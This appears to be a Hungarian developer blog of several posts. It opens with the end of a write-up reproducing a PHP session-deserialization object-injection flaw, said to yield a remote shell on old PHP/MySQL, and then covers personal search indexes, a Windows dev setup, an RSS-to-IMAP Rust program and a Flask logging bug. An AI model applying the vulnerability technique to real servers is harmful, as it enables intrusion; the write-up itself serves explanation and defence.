array(3) {
  ["foo"]=>
  array(0) {
  }
  ["evil"]=>
  NULL
  ["46:"}__test"]=>
  object(stdClass)#1 (1) {
    ["evil"]=>
    bool(true)
  }
}

Úgy tűnik a PHP elég rosszul kezeli a hiányos session adatokat. Ezzel végre sikerült reprodukálnunk azt a működést, ami végül ahhoz vezet, hogy a feltűnően furcsa HTTP kérés hatására létrejön egy remote shell a szerveren.

Szemfüles olvasók azt is kiszúrhatták, hogy elég régi PHP és MySQL van a példákban használva. Ennek csupán egyetlen oka van. Az, hogy frissebb verziók esetén ez már nem működne.

A huncut kis bitkolbászt tartalmazó sor beszúrása MySQL 5.7.42-ben:

$ docker-compose run --rm app php test.php
Fatal error: Uncaught exception 'mysqli_sql_exception' with message 'Incorrect string value: '\xF0\x9D\x8C\x86ba...' for column 'data' at row 1' in /app/test.php:14
Stack trace:
#0 /app/test.php(14): mysqli_stmt->execute()
#1 {main}
  thrown in /app/test.php on line 14

A levágott végű session adat dekódolása PHP 5.4.45-ben:

$ docker run --rm --volume $(pwd):/app --workdir /app php:5.4.45 php test.php
Warning: session_decode(): Failed to decode session object. Session has been destroyed in /app/test.php on line 43
array(1) {
  ["foo"]=>
  array(0) {
  }
}

Összegzés

Hosszú volt az út idáig, nézzük át még egyszer, hogy mi is kellett ahhoz, hogy ezt a sebezhetőséget ki lehessen használni:

• elég régi PHP és MySQL (a sebezhetőség publikálásának idején az 5.4-es PHP és 5.7-es MySQL már évek óta elérhető volt)
• a session tárolása MySQL-ben egy utf8-as táblában és utf8-as adatbázis kapcsolattal
• felhasználótól származó, nem megbízható adat tárolása session-ben
• olyan osztályoknak a megléte a kódban, amit ha nem rendeltetésszerűen kombinálunk össze, akkor végül sikeresen lefuttat egy string-et PHP kódként

Mi ebből a tanulság? Nem tudom... ha mindent jól csinálsz, akkor is félremehetnek a dolgok? Mindenesetre jusson eszetekbe ez a kis nyomozás, amikor legközelebb úgy gondoljátok, hogy egy lehetséges sérülékenységet (legyen az akár egy használt library-ben, kedvenc programozási nyelvetek interpreter-ében vagy az adatbázisban) úgyse lehet kihasználni a kódotokból.

További olvasnivalók

• Code Reuse Attacks in PHP: Automated POP Chain Generation
• A Different Kind of POP: The Joomla Unserialize Vulnerability
• OWASP: PHP Object Injection

Ma egy gondolatkísérletre invitálom meg a kedves olvasókat: mi lenne, ha mindenkinek saját, személyre szabott (akár lokális) keresője lenne, ahelyett, hogy központi szolgáltatókat (DuckDuckGo, Google, Bing és a többiek) kellene használni?

Nyilván adatvédelmi szempontból hatalmas előrelépés, ha nem óriásvállalatok gyűjtenek a világon mindenkiről ki tudja milyen adatokat, amikkel aztán ki tudja mit kezdenek, de vajon technológiailag megoldható?

A kereső

Mielőtt belemerülnénk a részletekbe, nagy vonalakban nézzük meg, hogy nagyjából hogyan is épülhet fel egy kereső.

Letöltés

Vannak crawler-nek nevezett programok, amik meglátogatnak egy oldalt, lementik a HTML forrását, kigyűjtik belőle a linkeket, azokat az oldalakat is meglátogatják, kigyűjtik belőlük a linkeket és így tovább. A jól viselkedő crawler-ek betartják a robots.txt-ben leírtakat, munkájukat pedig segítheti a sitemap.xml.

Feldolgozás

A rengeteg HTML forrásból ki kell nyerni a hasznos adatokat, esetleg valamiféle kontextussal együtt, hogy hol lett megtalálva a szöveg (például az oldal főcíme vagy lábléc szöveg), ami később felhasználható súlyozásra. További metaadatok nyerhetőek ki, ha a weboldal használja az Open Graph, Microformats vagy Schema.org protokollokat.

Tárolás

Itt több változat is lehetséges, attól függően, hogy mennyi adatot vagyunk hajlandóak tárolni. Amit mindenképpen tárolnunk kell, az egy index, ami megmondja, hogy egy szó vagy egy kifejezés melyik oldalon található meg. Ha a találati oldalon meg akarjuk jeleníteni a találat szövegkörnyezetét is, akkor tárolnunk kell a feldolgozás által kinyert adatokat is. Ha lokálisan szeretnénk megmutatni a weboldalt, amiből a találat keletkezett, akkor a teljes HTML oldalra is szükségünk lesz.

Keresés

Egy (web)alkalmazás, ami a felhasználó által megadott keresőkifejezést adatbázis lekérdezéssé alakítja és megjeleníti a találatokat.

Töltsük le az Internetet

Az első problémánk tehát a crawler. Az Internet szerint nagyjából 400 millió aktív weboldal lehet manapság. Ha mindegyiknek csak 10 oldala van (valószínűleg erős alábecslés), akkor is már 4 milliárd meglátogatandó oldalról beszélünk. Ha minden oldalt 100ms alatt le tudunk tölteni és ki tudjuk nyerni belőle a linkeket (szintén erősen optimista becslés), akkor egy crawler-nek több, mint 12 évébe tartana meglátogatni mindent. Mondjuk ezer párhuzamos crawler már 4-5 nap alatt végezhetne... biztos izgalmas lenne, ha több milliárd ember elkezdene fejenként ezer crawler-t ráküldeni az Internetre, hogy megépítse a saját indexét.

És akkor ez még egy nagyon optimista becslés volt. Hogy mennyire? Gondoljunk csak bele, hogy a k...edves fejlesztők előszeretettel építenek manapság olyan oldalakat, amik (több megabájtnyi) JavaScript letöltése és futtatása nélkül használhatatlanok. Szóval lehet, hogy egy headless böngésző kellene a végleges HTML kinyeréséhez, ami aztán biztos nem fog végezni 100ms alatt. Ez legalább egy (de lehet, hogy inkább két) nagyságrenddel lassabb lenne.

Ekkora adat mennyiségnél a feldolgozás is valószínűleg túl sok idő és erőforrás lenne. Még akkor is, ha mindenhol kézműves gondossággal összerakott, minimalista szerkezetű, szintaktikailag és szemantikailag is helyes HTML oldalak lennének... de nyilván ez nem így van a valóságban. Aztán ott vannak még a SEO ügyeskedések is, mint például a felhasználók számára nem látszódó, de a crawler számára jelen lévő szövegek és hasonló trükkök, amiket jó lenne kiszűrni.

Hasonló problémába ütközünk a tárolás területén is. A Google indexe a saját állítása szerint több, mint 100 000 000 gigabyte méretű. Még ha ennek a nagy részét képek és videók teszik ki, ez azért nem egy olyan nagyságrend, ami kényelmesen elférne egy asztali számítógépen. Szóval úgy tűnik, hogy a négy részből hárommal is (letöltés, feldolgozás, tárolás) gondok vannak. Nem túl jó arány.

Alternatív megoldások

A rengeteg crawler okozta túlterhelést meg lehetne úgy oldani, hogy a crawler-ek beszélgethetnének egymás között is, hogy ki hol járt már és mehetne köztük is a csere-bere, bár így hirtelen nem tudom, hogy hogyan lehetne ezt biztonságosan megoldani, hogy egy zsivány crawler ne tudjon megmérgezni hamis információkkal másokat. Az adatmennyiségen viszont ez sem segít.

De tényleg szükségünk van az egész Internetre? Jó eséllyel csak egy-két nyelv érdekel minket a saját anyanyelvünkön kívül és abból sem a teljes felhozatal. Ha valahogy meg lehetne mondani, hogy az Internet melyik egy százaléka érdekel minket, akkor azzal talán működőképes lenne a saját kereső. Beadhatnánk a személyes keresőnknek oldalakat, amiket fontosnak tartunk, aztán a rajtuk található külső hivatkozásokon is végigmehetne, és így tovább. A végén lenne egy nem annyira nagy HTML halmazunk, ami jó eséllyel még elfér a gépünkön.

Végeredményben viszont nem tűnik gazdaságosnak (vagy akár lehetségesnek), hogy mindenki saját crawler-eket futtasson és saját indexet gyártson. Ez viszont még nem feltétlenül jelenti azt, hogy ne lehetne mindenkinek saját példánya az indexből. Lehetne mondjuk valami nyílt index formátum vagy adatbázis szerkezet és bárki publikálhatna saját indexeket.

A lehetőségek száma végtelen, de nézzünk meg pár ötletet kedvcsinálónak:

• tematikus indexek, például index programozóknak, dokumentációkkal, StackOverflow-val és egyebekkel
• nagy oldalak publikálnak saját indexet a tartalmaikról (nem kell hozzájuk crawler, cserébe megbízol bennük, hogy az van az index-ben, ami az oldalon is)
• lokáció alapú indexek, ha szeretnéd megtalálni a szombathelyi fagyizókat
• cégek, akik fizetős indexeket gyártanak
• könyvtárak, állami szervezetek, akik a saját nyelvük tartalmaiból csinálnának indexeket
• nonprofit szervezetek indexei, mint mondjuk az archive.org, aminek már egyébként is vannak ilyen adatai
• gyakran frissülő hír jellegű indexek
• ritkán frissülő enciklopédia jellegű indexek
• a szomszéd Józsi indexe, amit a kedvenc weboldalaiból készített

A felhasználó pedig betöltheti a személyes keresőjébe a választott indexeket, törölhet belőle olyan részeket, amik számára nem relevánsak, hogy helyet spóroljon, vagy jobb találatokat kapjon. A keresésnél pedig ki lehetne választani, hogy melyik indexekben keressen.

Innentől az index szolgáltató megválasztása határozza meg a találatok minőségét, de gondolom idővel ez kialakulna, hogy mik azok az indexek, amiket érdemes használni, hogyan érdemes őket testre szabni, vagy ha valamelyik index minősége romlik, nem elég friss, akkor lehet új szolgáltatókat keresni. A kicsit hozzáértőbbeknek pedig továbbra is megvan a lehetőségük, hogy saját crawler-t indítsanak és saját indexet építsenek (amit aztán eladhatnak másoknak is).

Magáról a keresésről nem sok szót ejtettünk, de az a rész elég egyértelműnek tűnik. Mivel az index nyílt formátumú, bárki készíthetne rá szoftvereket. Valószínűleg készülne pár remek nyílt forráskódú alternatíva, akár asztali alkalmazásként, akár saját szerverre telepíthető webalkalmazásként. Aztán plugin-ek ezekhez az alkalmazásokhoz, amik számológéppel, valutaváltóval, keresési előzményekkel és ki tudja még mennyi mindennel egészíthetnék ki az alap funkcionalitást.

Összegzés

Lenne még itt-ott néhány apróbb ötletem, de nem akartam túl sokat csapongani. Térjünk inkább vissza az eredeti kérdésünkhöz. Csak álom-e egy saját kereső? Ha az egész Interneten szeretnél keresni: igen. A boldogsághoz (vagy egy jól működő keresőhöz) viszont nem biztos, hogy az egész Internetre szükség van. Megfelelő index szolgáltatókkal és a végfelhasználó számára is elfogadható index méretekkel azt hiszem működhetne a dolog.

Web fejlesztők munka közben; Leonardo da Vinci egyik késői munkája

Néha kihalófélben lévő állatfajnak érzem magam a sok harapott alma között, úgyhogy most mesélek egy kicsit arról, hogy Windows-t használó (web)fejlesztőként hogyan is néz ki a fejlesztői környezetem.

Ahogyan a napsugarak lassan áthatolnak a három rétegű edzett üvegen, az egyik legkülönlegesebb lényt figyelhetjük meg az északi félgömbön - a Scriptor fenestralis-t, ismertebb nevén a Windows-os webfejlesztőt.

Természetes élőhelyük a mesterséges világítás és a hűvös hőmérséklet ideális kombinációja, mely optimális környezetet teremt a szellemi kihívásokkal teli munkához.

Röviden és tömören: egy Windows-os host gép, amin egy Debian alapú virtuális gép fut Hyper-V segítségével. Azon belül pedig Docker-t használok a konkrét projektek futtatására. Nem a technológia csúcsa, de még nem szántam rá magam a komolyabb kísérletezgetésre a WSL2-vel. No de lássuk a részleteket.

A fizikai gép

Korábban VirtualBox-ot használtam, de aztán váltottam Hyper-V-re, mert az már alapból benne van a Windows-ban, csak be kell kapcsolni. Meg gondoltam, ha már hivatalos megoldás, lehet jobban is működik. Nincsen semmi, amivel ezt alá tudnám támasztani, max. az jut eszembe, hogy a gép indulásával együtt a virtuális gép is elindul, de lehet, hogy VirtualBox-ban is lehetne ilyet csinálni.

Hálózat

Ha el akarjuk érni a virtuális gépünket (vagy a virtuális gépünkről az Internetet), akkor be kell állítani neki egy hálózatot. Itt két irányba is mehetünk, használhatunk External switch-et vagy Internal switch-et (van Private switch is, de az nekünk most nem segít).

Az asztali gépem esetében az External switch opcióval mentem, összekötöttem a hálókártyával, amin kapja a gép az Internetet és ezzel nagyjából meg is volnánk. A router számára úgy látszik a virtuális gép is, mintha egy rendes fizikai gép lenne a hálózaton. A MAC címe alapján adtam neki egy fix IP címet a DHCP szerveren és egy hostot a DNS szerveren, ami erre az IP címre oldódik fel (devbox.lan).

Ez egy ritkán mozgatott asztali gép számára elfogadható megoldás lehet, de mi a helyzet mondjuk egy laptop esetén, ahol nem biztos, hogy hozzáférünk minden router-hez, hogy ezt meg tudjuk oldani? Erre lehet megoldás az Internal switch, amit a következő PowerShell parancsokkal konfiguráltam fel:

> New-VMSwitch -SwitchName "Internal" -SwitchType Internal
> New-NetIPAddress -IPAddress 192.168.56.1 -PrefixLength 24 -DefaultGateway 192.168.56.1 -InterfaceAlias "vEthernet (Internal)"
> New-NetNAT -Name "InternalNatNetwork" -InternalIPInterfaceAddressPrefix 192.168.56.0/24

A 192.168.56.0/24-es tartományt használjuk, de DHCP híján nem kapunk belőle automatikusan IP címet, úgyhogy a virtuális gépen belül kell egy fix IP címet megadnunk. Debian esetén valahogy így, a /etc/network/interfaces fájlban:

iface eth0 inet static
  address 192.168.56.101
  netmask 255.255.255.0
  gateway 192.168.56.1

Ha pedig host-ot is szeretnénk neki, akkor azt felvehetjük a C:\Windows\System32\drivers\etc\hosts fájlban:

192.168.56.101 devbox.lan

Néha szükség van rá, hogy a virtuális gép egy portját localhost-on is elérjem (ha valami a virtuális gépen belül a 8080-as porton fut, akkor azt elérjem localhost:8080-on is). Ehhez eleinte a következő PowerShell parancsot használtam:

> Add-NetNatStaticMapping -NatName "InternalNatNetwork" -Protocol TCP -ExternalIPAddress 0.0.0.0 -InternalIPAddress 192.168.56.101 -InternalPort 8080 -ExternalPort 8080

Ez egy idő után elkezdett nem működni. Nem tudom mi történhetett vele, de némi kutakodás után találtam helyette egy másik parancsot.

> netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=8080 connectaddress=192.168.56.101

Így utólag belegondolva lehet, hogy egyszerűbb lett volna csak simán SSH port forwarding-ot használni. Micsoda megvilágosodások történnek itt bejegyzés írás közben.

Ablakos alkalmazások

A fizikai gépen fut egy VcXsrv, ami egy Windows-on futó X szerver. A virtuális Linux-on belül indíthatok vele ablakos alkalmazásokat, amiket Windows-os ablakokként lehet használni. Általában az aktuálisan használt IDE ennek a segítségével fut a virtuális gépen belül, mert úgy egyszerűbb elérni benne a Linux-os/Docker-es dolgokat és kevesebb gond van a fájl jogosultságok körül is.

SSH

Egy YubiKey-n tárolt GPG kulcsot használok SSH autentikációhoz. A Gpg4win-ben lévő GPG agent van felkonfigurálva, hogy egyrészt kezelje a YubiKey-t, másrészt kiajánlja a benne lévő kulcsot az SSH agent-ben:

scdaemon.conf

reader-port Yubico Yubi
pcsc-shared
disable-application piv

gpg-agent.conf

enable-ssh-support
enable-putty-support

SSH kliensnek PuTTY van használva (bár a Windows Terminal is egész ígéretes, de legutóbb még nem akart együttműködni a GPG agent-tel) és be van kapcsolva az agent forwarding^[1], hogy a virtuális gép is tudja használni a YubiKey-n lévő kulcsot.

Ezen kívül a Linux-os home könyvtáram van felcsatolva hálózati meghajtóként (P:\), hogy egyszerűbb legyen fájlokat mozgatni a két gép között.

A virtuális gép

Ez a rész elég fapados, egy szimpla Debian vagy Ubuntu szerver, amit Ansible segítségével húzok fel. SSH-zás után egy gyári beállításokkal rendelkező Bash fogad (néhány alias-tól eltekintve), ami mellé általában egy Tmux-ot indítok. Ha éppen olyan a hangulatom, akkor a Powerline (és a hozzá tartozó DejaVu Sans Mono betűtípus) segítségével szépítem meg őket egy kicsit.

Samba

A hálózati meghajtó miatt kerül a gépre Samba, ami a neten talált teljesítmény növekedést ígérő beállításokkal lett felturbózva:

/etc/samba/smb.conf

read raw = yes
write raw = yes
socket options = TCP_NODELAY IPTOS_LOWDELAY SO_RCVBUF=131072 SO_SNDBUF=131072 SO_KEEPALIVE
use sendfile = yes
aio read size = 16384
aio write size = 16384
oplocks = yes
max xmit = 65535
dead time = 15
getwd cache = yes

Docker

Végül, de nem utolsó sorban, a projektek miatt kerül rá még Docker is. Minden más vacak reményeink szerint Docker-en belül fog futni. Ha már Docker, érdemes egy pár szót ejteni a hálózati beállításairól.

Ha hagyjuk szabadon garázdálkodni, akkor van rá egy kicsi esély, hogy előbb-utóbb létrehoz egy olyan hálózatot, ami ütközik valamelyik másik helyi hálózatunkkal és elkezdenek majd emiatt furán működni a dolgok. Ennek megakadályozása érdekében érdemes valami ilyesmit felvenni a beállításai közé:

/etc/docker/daemon.json

{
  "bip": "172.20.0.1/16",
  "default-address-pools": [
    {"base": "172.21.0.0/16", "size": 24}
  ]
}

Így lehet ~250 hálózatunk, hálózatonként ~250 géppel, ami valószínűleg több, mint elég egy fejlesztői gépen, de a default-address-pools részbe fel lehet venni további tartományokat, ha mégis kifutnánk belőle.

Ezzel a tárlatvezetés végére is értünk, remélem élveztétek az utazást. Elég sok mindent érintettünk felületesen, de ez talán elég ahhoz, hogy el tudjatok indulni ezen a rögös úton.
Azért így a végére érve talán már bevallhatom, hogy nem vagyok benne biztos, hogy jó szívvel tudnám bárkinek ajánlani ezt a felállást. Nekem egyelőre még elég kényelmes ahhoz, hogy ne váltsak, de azért nézelődök, hogy milyen alternatívák jöhetnének még szóba.

Jegyzetek

1. ↑ Szokták azt mondani, hogy az agent forwarding nem túl jó ötlet, mivel a socket elérhető lesz mások számára is a cél gépen, ha van elég jogosultságuk (pl. root). Ez a veszély esetünkben nem fenyeget.

Ezt a képet a Midjourney generálta nekünk

Egy ideje már motoszkált a fejemben egy ötlet, hogy hogyan lehetne az email fiókokat egy kicsit félrehasználni. Az alapja az, hogy az IMAP protokolon keresztül tetszőleges email-szerű dolgokat hozhatunk létre a saját fiókunkban, anélkül, hogy ténylegesen levelet küldtünk volna.

Például egy oldalon rányomunk egy "Elteszem későbbre" gombra, mire az email fiókunkban megjelenik egy olvasatlan email az oldal tartalmával. Vagy feliratkozunk oldalak RSS feed-jére és az új cikkek email-ként jelennek meg nálunk. Szóval amolyan adatbázis-féleségnek lehetne használni, amihez már létezik egy rakás kliens az elképzelhető összes platformra.

Egy kis extra intelligencia

Telt-múlt az idő, de a projektből csak nem lett semmi, míg egy napon a ChatGPT-vel (GPT-4 modell, de én csak Dave-nek hívtam) beszélgettem arról, hogy milyen szórakoztató hétvégi projekteket tudna ajánlani. Nem mozgatta meg a fantáziámat a válasza, de eszembe jutott, hogy van már nekem egy hétvégi projektem, amit meg kellene csinálni.

Rá is kérdeztem nála, hogy hogyan lehet Python-ban RSS feed-eket feldolgozni. Aztán arra, hogy hogyan lehet email üzeneteket létrehozni és elmenteni őket IMAP protokolon keresztül. A válaszok első ránézésre egész meggyőzőek voltak, úgyhogy megírattam vele a teljes projektet: csináljon email üzenetet egy RSS feed minden eleméből, amit aztán IMAP segítségével mentsen el egy email fiókba, mindezt természetesen Python nyelven.

Ezen a ponton átéltem egy kisebb egzisztenciális válságot, hogy mi szükség van még rám, csak kérdezzétek meg a ChatGPT-t, neki sokkal kevesebb ideig tartana megírni ezt a cikket is, én meg itt szerencsétlenkedek már órák óta.

De félre a borúlátással, végül úgy döntöttem, hogy írja újra az egészet Rust-ban és én majd megpróbálom lefuttatni. Az úgyis trendi dolog és még csak nem is értek hozzá, úgyhogy izgalmasabb is lesz.

Indulhat a projekt

Először is kaptam egy listát, hogy ezekre a dependenciákra lesz szükségem a Cargo.toml fájlomban:

[dependencies]
rss = "1.10.0"
lettre = "0.10.0-rc.3"
imap = "3.0.0"
native-tls = "0.2.8"
tokio = { version = "1.0", features = ["full"] }

Nagyjából stimmel, de az imap-ból nincs (még) 3.0.0 verzió, úgyhogy azt átírtam 3.0.0-alpha.10-re, mert az volt épp a legfrissebb. Ha rajtam múlt volna, akkor inkább a legfrissebb stabil verziót használom mindenből, de nem azért fizetnek, hogy gondolkozzak (nem is fizetnek).

Következőnek jött az RSS feed letöltése és feldolgozása:

use rss::Channel;

async fn parse_rss_feed(url: &str) -> Result<Channel, Box<dyn std::error::Error>> {
    let content = reqwest::get(url).await?.bytes().await?;
    let channel = Channel::read_from(&content[..])?;
    Ok(channel)
}

Itt panaszkodott a fordító, hogy ő ugyan nem tud semmit a reqwest modulról, úgyhogy ki kellett még egészítenem a Cargo.toml-t egy reqwest = "0.11.16" sorral.

A következő kódrészlet az email üzenet létrehozása az RSS feed elemből volt:

use lettre::message::{Header, Message, Mailbox};

fn create_email_from_entry(entry: &rss::Item, sender: &str, recipient: &str) -> Message {
    let body = format!("{}\n\nRead more at: {}", entry.description().unwrap_or_default(), entry.link().unwrap_or_default());
    Message::builder()
        .from(sender.parse().unwrap())
        .to(recipient.parse().unwrap())
        .subject(entry.title().unwrap_or_default())
        .header(Header::new("Content-Type", "text/plain; charset=utf-8"))
        .body(body)
        .unwrap()
}

A Header használata nem tetszett a fordítónak, mivel az szerinte privát. A Mailbox pedig feleslegesen van behúzva. Szerencsére text/plain tartalomra van beépített támogatás, úgyhogy végül erre az eredményre jutottam:

use lettre::message::{header::ContentType, Message};

fn create_email_from_entry(entry: &rss::Item, sender: &str, recipient: &str) -> Message {
    let body = format!("{}\n\nRead more at: {}", entry.description().unwrap_or_default(), entry.link().unwrap_or_default());
    Message::builder()
        .from(sender.parse().unwrap())
        .to(recipient.parse().unwrap())
        .subject(entry.title().unwrap_or_default())
        .header(ContentType::TEXT_PLAIN)
        .body(body)
        .unwrap()
}

Aztán jött az email létrehozása a fiókban IMAP protokolon keresztül:

use imap::Client;
use native_tls::TlsConnector;

async fn save_emails_to_mailbox(
    imap_server: &str,
    user_email: &str,
    password: &str,
    mailbox: &str,
    messages: Vec<Message>,
) -> Result<(), Box<dyn std::error::Error>> {
    let tls = TlsConnector::builder().build()?;
    let client = Client::secure_connect((imap_server, 993), imap_server, &tls)?;
    let mut imap_session = client.login(user_email, password).map_err(|(e, _)| e)?;

    imap_session.select(mailbox)?;

    for message in messages {
        let message_string = message.formatted();
        imap_session.append(mailbox, message_string.as_bytes())?;
    }

    imap_session.logout()?;
    Ok(())
}

Itt azért van baj. A Client::secure_connect nem létezik, a message_string-nek nincs as_bytes metódosa és az append(...) után valamiért nem lehet ?-et írni. Ha értenék a Rust-hoz, biztos meg tudnám magyarázni, hogy miért, de ismerve a helyzetemet legyen elég annyi, hogy így már lefordult:

use imap::ClientBuilder;

async fn save_emails_to_mailbox(
    imap_server: &str,
    user_email: &str,
    password: &str,
    mailbox: &str,
    messages: Vec<Message>,
) -> Result<(), Box<dyn std::error::Error>> {
    let client = ClientBuilder::new(imap_server, 993).native_tls()?;
    let mut imap_session = client.login(user_email, password).map_err(|(e, _)| e)?;

    imap_session.select(mailbox)?;

    for message in messages {
        let message_string = message.formatted();
        imap_session.append(mailbox, message_string.as_slice());
    }

    imap_session.logout()?;
    Ok(())
}

És végül, de nem utolsó sorban a main() függvény, ami összedrótozza ezt az egészet:

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let rss_url = "https://example.com/rss_feed.xml";
    let imap_server = "imap.gmail.com";
    let user_email = "your_email@example.com";
    let password = "your_password";
    let mailbox = "INBOX";

    let channel = parse_rss_feed(rss_url).await?;

    let messages: Vec<_> = channel
        .items()
        .iter()
        .map(|entry| create_email_from_entry(entry, user_email, user_email))
        .collect();

    save_emails_to_mailbox(imap_server, user_email, password, mailbox, messages).await?;

    Ok(())
}

Ebben nem talált a fordító semmi hibát, viszont előjött egy új warning az előző kódból, hogy az append(...) által visszaadott AppendCmd-t használnunk kellene. Ebből arra következtettem, hogy valami még nem kerek és végül erre jutottam:

imap_session.append(mailbox, message_string.as_slice()).finish()?;

Öröm és boldogság, visszatért a sor végi ? és a kód is lefordult gond nélkül. Még a main()-ben lévő változókat átírtam megfelelő értékekre, megfuttattam a kapott programot és... működött!

A szép új világ

Mondanám, hogy kár volt az ember munkáját egy gépre bízni, de egyrészt még így is rengeteg időt meg lehetett spórolni vele, másrészt a ChatGPT valószínűleg megjavította volna saját maga is, ha visszamásolgatom neki a hibaüzeneteket, amiket kapok.

Utána beszélgettünk még egy kicsit, hogy hogyan futtatná a programot systemd, Supervisor vagy éppen Docker segítségével, hogy hogyan lehetne monitorozni egy ilyen programot, arról, hogy milyen config fájl formátumot ajánlana hozzá, de ha erre is kíváncsiak vagytok, akkor azt már tőle kell megkérdezni, biztos szívesen elmeséli.

Korábbi döntéseink egész meglepő és váratlan módon tudnak hátba szúrni minket a jelenben. Nincs ez másképp kódunk természetes evolúciója során sem. Csak az idő a megmondhatója annak, hogy a ma meghozott döntéseink a jövőben jónak vagy rossznak fognak bizonyulni.
Persze vannak követhető "szokások", "módszertanok", "minták" és más egyebek, amik követése az esetek többségében jó eredményeket fog hozni, de néha még így is sikerül elég kreatívnak maradni ahhoz, hogy lábon lőjük magunkat.

A mai napon ezt Python és Flask segítségével próbáljuk majd elkövetni, miközben egy nagyon bonyolult "Hello World" alkalmazást bővítgetünk.

Egy hiba születése

Elkezdődik hát a projekt, mindenki hatalmas izgalomban, végre egy üres lapot írhatunk teli, nem fog a fejlesztés a korábbi (rossznak bizonyult) döntéseink súlya alatt vánszorogni. El is készül az első változat.

class HelloView(MethodView):
    def get(self):
        return 'Hello World\n'

app = Flask(__name__)
app.add_url_rule('/', view_func=HelloView.as_view('hello'))

if __name__ == '__main__':
    app.run()

Nem sokkal később rájövünk, hogy egy ilyen bonyolult alkalmazás nem létezhet logolás nélkül, így utólag azt is hozzárakjuk.

class HelloView(MethodView):
    logger = logging.getLogger('view.hello')

    def get(self):
        self.logger.info('hello from view')
        return 'Hello World\n'

Eddig minden szép és jó, az alkalmazást meghívva az elvárt működést tapasztaljuk:

$ curl localhost:8080
Hello World

És a logok között is megjelenik az üzenetünk:

{"name": "view.hello", "message": "hello from view"}

De ahogy telik az idő és a követelmények változnak, felmerül az igény, hogy jó lenne, ha a logsorokhoz tudnánk extra adatokat hozzárakni. Egy ilyen adat lehet mondjuk a kérésekhez generált egyedi azonosító.

class ContextLogger:
    def __init__(self, logger):
        self.__logger = logger
        self.__context = {}

    def add_context(self, key, value):
        self.__context[key] = value

    def info(self, message):
        self.__logger.info(message, extra=self.__context)

def add_request_id(logger):
    def decorator(f):
        @wraps(f)
        def decorated_function(self):
            request_id = uuid.uuid4()
            logger.add_context('request_id', request_id)
            logger.info(f'hello from middleware ({request_id})')
            return f(self, request_id)
        return decorated_function
    return decorator

class HelloView(MethodView):
    logger = ContextLogger(logging.getLogger('view.hello'))

    @add_request_id(logger)
    def get(self, request_id):
        time.sleep(0.01)
        self.logger.info(f'hello from view ({request_id})')
        return 'Hello World\n'

A valóságban a ContextLogger egy fokkal bonyolultabb lenne, megvalósítaná a többi logolással kapcsolatos függvényt (warn, error, stb.) és le kellene kezelnie a kívülről jövő extra paramétereket is.

A sleep hívás a view osztály által elvégzett egyéb munkákat hivatott szimulálni. Mondjuk hátra kell még szólnia valami backend service felé, hogy összeszedje az adatokat, amik a "Hello World" megjelenítéséhez feltétlenül kellenek, vagy valami ilyesmi. Mindenesetre az alkalmazás továbbra is jól működik.

{
  "name": "view.hello",
  "message": "hello from middleware (5f428aa7-cf68-4ae4-a003-2b95085f7f7d)",
  "request_id": "5f428aa7-cf68-4ae4-a003-2b95085f7f7d"
}
{
  "name": "view.hello",
  "message": "hello from view (5f428aa7-cf68-4ae4-a003-2b95085f7f7d)",
  "request_id": "5f428aa7-cf68-4ae4-a003-2b95085f7f7d"
}

Vagy mégsem? Mi történik akkor, ha megpróbálunk egyszerre több kérést küldeni?

$ curl localhost:8080 & curl localhost:8080 &

{
  "name": "view.hello",
  "message": "hello from middleware (36d1627c-2159-4865-92ed-c63969efde47)",
  "request_id": "36d1627c-2159-4865-92ed-c63969efde47"
}
{
  "name": "view.hello",
  "message": "hello from middleware (78062d9e-bb3a-4a74-a24c-e0ba22be6660)",
  "request_id": "78062d9e-bb3a-4a74-a24c-e0ba22be6660"
}
{
  "name": "view.hello",
  "message": "hello from view (36d1627c-2159-4865-92ed-c63969efde47)",
  "request_id": "78062d9e-bb3a-4a74-a24c-e0ba22be6660"
}
{
  "name": "view.hello",
  "message": "hello from view (78062d9e-bb3a-4a74-a24c-e0ba22be6660)",
  "request_id": "78062d9e-bb3a-4a74-a24c-e0ba22be6660"
}

A middleware logok jól néznek ki, de a view logjaiban mindkét kérésnél ugyanaz a request_id szerepel. Ráadásul a message-ben a jó érték van. Mi a f... ene.

A gyors javítás

A hibát az okozza, hogy a logger változónk a HelloView osztályban statikus, így csak egyszer inicializálódik, amikor az alkalmazás elindul és az osztályt tartalmazó modulunk betöltődik. Mi arra számítottunk, hogy kérésenként más-más logger osztályunk lesz. Vagy még inkább bele se gondoltunk. A logolás eddig is működött, utána is működött, nem lesz itt semmi baj.

Egy lehetséges javítása a problémának az lehet, hogy a logger-t a konstruktorban inicializáljuk, de így már nem tudjuk egyszerűen átadni a middleware-nek (amire azért lehet szükség, hogy ugyanolyan névvel logoljon a view és az előtte futó middleware).

def add_request_id():
    def decorator(f):
        @wraps(f)
        def decorated_function(self):
            request_id = uuid.uuid4()
            self.logger.add_context('request_id', request_id)
            self.logger.info(f'hello from middleware ({request_id})')
            return f(self, request_id)
        return decorated_function
    return decorator

class HelloView(MethodView):
    logger = None

    def __init__(self):
        self.logger = ContextLogger(logging.getLogger('view.hello'))

    @add_request_id()
    def get(self, request_id):
        time.sleep(0.01)
        self.logger.info(f'hello from view ({request_id})')
        return 'Hello World\n'

A dekorátor eléri az általa dekorált függvény minden paraméterét, így a self-et is, amin keresztül továbbra is elérhetjük a logger-t. Nem túl elegáns, de működik. Erről szólnak a gyors javítások, nem?

Egy maradandóbb megoldás

A Flask-ben létezik egy Request Context nevezetű dolog, a request változó mindig az éppen feldolgozás alatt lévő kérésre fog vonatkozni, szóval ha esetleg ki tudnánk egészíteni a saját adatainkkal, akkor megoldódna a probléma. Néhány Flask osztály felüldefiniálásával ezt meg is tudjuk oldani.

class MyRequest(Request):
    def __init__(self, environ, populate_request=True, shallow=False):
        super().__init__(environ, populate_request, shallow)
        self.__context = {}

    @property
    def context(self):
        return self.__context

    def add_context(self, key, value):
        self.__context[key] = value

class MyFlask(Flask):
    request_class = MyRequest

class RequestContextLogger:
    def __init__(self, logger):
        self.__logger = logger

    def info(self, message):
        self.__logger.info(message, extra=request.context)

def add_request_id(logger):
    def decorator(f):
        @wraps(f)
        def decorated_function(self):
            request_id = uuid.uuid4()
            request.add_context('request_id', request_id)

            logger.info(f'hello from middleware ({request_id})')
            return f(self, request_id)
        return decorated_function
    return decorator

class HelloView(MethodView):
    logger = RequestContextLogger(logging.getLogger('view.hello'))

    @add_request_id(logger)
    def get(self, request_id):
        time.sleep(0.01)
        self.logger.info(f'hello from view ({request_id})')
